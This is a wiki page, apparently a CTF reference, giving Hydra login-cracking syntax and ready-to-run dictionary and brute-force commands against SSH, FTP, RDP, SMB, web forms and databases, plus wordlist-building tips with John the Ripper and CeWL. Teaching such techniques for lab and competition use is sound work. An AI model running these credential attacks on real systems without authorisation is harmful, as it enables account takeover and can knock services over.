Hydra - Revision history

The.mikkel: Created page with "'''Hydra''', often referred to as '''thc-hydra''', is a parallelized network logon cracker. It is an essential tool for any CTF player when faced with a login prompt on a network service. This page serves as a quick reference for common Hydra commands and syntax. == Core Syntax == The basic structure of a Hydra command is: `hydra [options] [[//service] | [service://]][:]` The most critical options define the credential lists: * '''-l 2025-08-04T10:56:02Z Created page with "'''Hydra''', often referred to as '''thc-hydra''', is a parallelized network logon cracker. It is an essential tool for any CTF player when faced with a login prompt on a network service. This page serves as a quick reference for common Hydra commands and syntax. == Core Syntax == The basic structure of a Hydra command is: <code>hydra [options] [[//service] | [service://]]<target>[:<port>]</code> The most critical options define the credential lists: * '''<code>-l <USE..." New page '''Hydra''', often referred to as '''thc-hydra''', is a parallelized network logon cracker. It is an essential tool for any CTF player when faced with a login prompt on a network service. This page serves as a quick reference for common Hydra commands and syntax. == Core Syntax == The basic structure of a Hydra command is: <code>hydra [options] [[//service] | [service://]]<target>[:<port>]</code> The most critical options define the credential lists: * '''<code>-l <USER></code>''': Specifies a single username. * '''<code>-L <FILE></code>''': Specifies a file containing a list of usernames. * '''<code>-p <PASS></code>''': Specifies a single password. * '''<code>-P <FILE></code>''': Specifies a file containing a list of passwords. * '''<code>-C <FILE></code>''': Colon-separated file format, e.g., "user:pass". Useful if you have paired credentials to test against multiple hosts. * '''<code>-x <MIN:MAX:CHARSET></code>''': Brute-force generation. E.g. <code>-x 1:3:aA1</code> to try all 1-3 character combinations of lowercase, uppercase, and numbers. == Attack Modes: Dictionary vs. Brute-Force == Hydra supports two main attack methodologies. Understanding the difference is key to using the tool effectively. === Dictionary Attack (Most Common) === A dictionary attack uses a predefined list of potential passwords (a "wordlist" or "dictionary"). This is the most common and efficient way to use Hydra, as it focuses on likely passwords. The quality of your wordlist is the most important factor for success. All commands using the '''<code>-P</code>''' or '''<code>-C</code>''' flags are performing a dictionary attack. <syntaxhighlight lang="bash"> # This is a dictionary attack using the rockyou.txt wordlist. hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10 </syntaxhighlight> === Pure Brute-Force Attack === A pure brute-force attack systematically tries every possible combination of characters for a given length and character set. This is extremely slow and only practical for very short or simple passwords (e.g., 4-digit PINs). This mode is enabled with the '''<code>-x</code>''' flag. <syntaxhighlight lang="bash"> # Tries to find a 4-digit numeric PIN for the user 'root' hydra -l root -x 4:4:%d ssh://10.10.10.10 # Tries all 1 to 3 character lowercase passwords hydra -l user -x 1:3:%a telnet://10.10.10.10 </syntaxhighlight> * '''Note on Charsets:''' <code>%d</code> = digits, <code>%a</code> = lowercase letters, <code>%A</code> = uppercase letters. == Common Command Flags == These flags are used in almost all scenarios to control Hydra's behavior. * '''<code>-t <TASKS></code>''': Number of parallel connections (threads). Default is 16. For CTFs, a higher number like <code>-t 64</code> is common, but be careful not to DoS the service. * '''<code>-V</code>''': Verbose mode. Shows every attempt. * '''<code>-d</code>''': Debug mode. Even more verbose. * '''<code>-f</code>''' or '''<code>-F</code>''': Stop after finding the first valid credential pair. '''Crucial for speed in CTFs.''' * '''<code>-o <FILE></code>''': Output found credentials to a file. * '''<code>-s <PORT></code>''': Specify a non-default port for the service. * '''<code>-w <TIME></code>''': Set a maximum time to wait for a response (in seconds). == Protocol-Specific Examples == Below are common commands for services frequently encountered in challenges. We'll assume common wordlists like <code>/usr/share/wordlists/rockyou.txt</code>. === SSH (ssh) === <syntaxhighlight lang="bash"> # Single user, password list hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.1.23 # User list, single password hydra -L users.txt -p 'password123' 10.10.1.23 ssh # User list, password list, on a non-standard port hydra -L users.txt -P passwords.txt -t 64 -f -s 2222 10.10.1.23 ssh </syntaxhighlight> === FTP (ftp) === <syntaxhighlight lang="bash"> # Check for anonymous login hydra -l anonymous -p '' ftp://192.168.1.5 # Brute-force with user and password lists hydra -L users.txt -P pass.txt ftp://192.168.1.5 -t 32 -f </syntaxhighlight> === Telnet (telnet) === <syntaxhighlight lang="bash"> # Brute-force a telnet service hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.12.110.8 telnet </syntaxhighlight> === SMB (smb) === <syntaxhighlight lang="bash"> # Brute-force Windows SMB shares # Note: For SMB, the target is often specified with a /// prefix hydra -L users.txt -P passwords.txt smb://10.10.14.2 </syntaxhighlight> === RDP (rdp) === <syntaxhighlight lang="bash"> # Brute-force a Remote Desktop Protocol service hydra -L usernames.list -P rockyou.txt rdp://10.20.30.40 -f </syntaxhighlight> === HTTP Basic Authentication === <syntaxhighlight lang="bash"> # Brute-force a directory protected by .htaccess hydra -L users.txt -P pass.txt 192.168.5.15 http-get /admin </syntaxhighlight> === HTTP POST Form === This is one of the most common web challenges. You need to inspect the login form to find the parameters. # '''Step 1:''' Inspect the form. Go to the login page, open browser developer tools (F12), and look at the Network tab when you submit a failed login. Find the POST request and its Form Data. # Let's say you find: # * Login page: <code>/login.php</code> # * Username field name: <code>uname</code> # * Password field name: <code>pword</code> # * Failure message on the page: <code>Invalid Credentials</code> or <code>Login failed</code> # '''Step 2:''' Craft the Hydra command. # The syntax is: <nowiki>http-post-form "<login_page>:<form_parameters>:<failure_message>"</nowiki> # Use <code>^USER^</code> and <code>^PASS^</code> as placeholders. <syntaxhighlight lang="bash"> # Example command hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login.php:uname=^USER^&pword=^PASS^:F=Invalid Credentials" -V -f </syntaxhighlight> * '''Pro Tip:''' If the failure condition is a redirect (HTTP 302) or a success cookie, the syntax changes slightly. On success redirect to /dashboard.php: <code>S=Location: /dashboard.php</code> On success set cookie "sessionID": <code>S=sessionID</code> === Database Services === ==== PostgreSQL (postgres) ==== <syntaxhighlight lang="bash"> # Brute-force PostgreSQL. Default user is often 'postgres'. hydra -l postgres -P passwords.txt 127.0.0.1 postgres </syntaxhighlight> ==== MySQL (mysql) ==== <syntaxhighlight lang="bash"> # Brute-force MySQL/MariaDB. Default user is often 'root'. hydra -l root -P passwords.txt 127.0.0.1 mysql </syntaxhighlight> == CTF Tips & Best Practices == * '''Leveraging Password Hints (Rule-Based Attacks):''' CTFs often provide hints (e.g., a pet's name, a birth year, a company name). These are not passwords themselves, but "base words". You can use tools like John the Ripper (JtR) or Hashcat to apply mutation rules (mangling) to these base words to generate a powerful, custom password list. #:'''Step 1:''' Create a file (e.g., <code>hints.txt</code>) with your base words, one per line. #:'''Step 2:''' Use JtR's <code>--stdout</code> mode to generate variations and save them to a new file. <syntaxhighlight lang="bash"> # This command takes your hint words and applies common password rules (like adding '123', '!', etc.) john --wordlist=hints.txt --rules=All --stdout > mangled_list.txt </syntaxhighlight> #:'''Step 3:''' Use this new, highly-targeted list with Hydra. <syntaxhighlight lang="bash"> hydra -l someuser -P mangled_list.txt ssh://10.10.10.10 </syntaxhighlight> * '''Website Wordlists:''' If the target is a company website, use a tool like '''CeWL''' to crawl the site and create a wordlist from its content. This can reveal project names, employee names, and other potential password components. <syntaxhighlight lang="bash"> cewl http://ctf.target.corp -d 2 -w custom_words.txt </syntaxhighlight> * '''Start with defaults:''' Before launching a massive brute-force, always check for default credentials (e.g., <code>admin:admin</code>, <code>root:password</code>, <code>test:test</code>) and anonymous/guest access. * '''Use <code>-f</code> / <code>-F</code>:''' In a CTF, you usually only need one set of valid credentials. Use this flag to stop Hydra as soon as it finds one to save valuable time. * '''Task Management (<code>-t</code>):''' A high task count is faster but can also lock you out or crash a fragile service. If you get lots of errors, try lowering the task count. Start with <code>-t 16</code> and increase if the service seems stable. == See Also == * [[https://github.com/vanhauser-thc/thc-hydra|Official THC-Hydra GitHub Repository]] * [[https://www.kali.org/tools/john/|John the Ripper for Rule-Based Wordlist Generation]]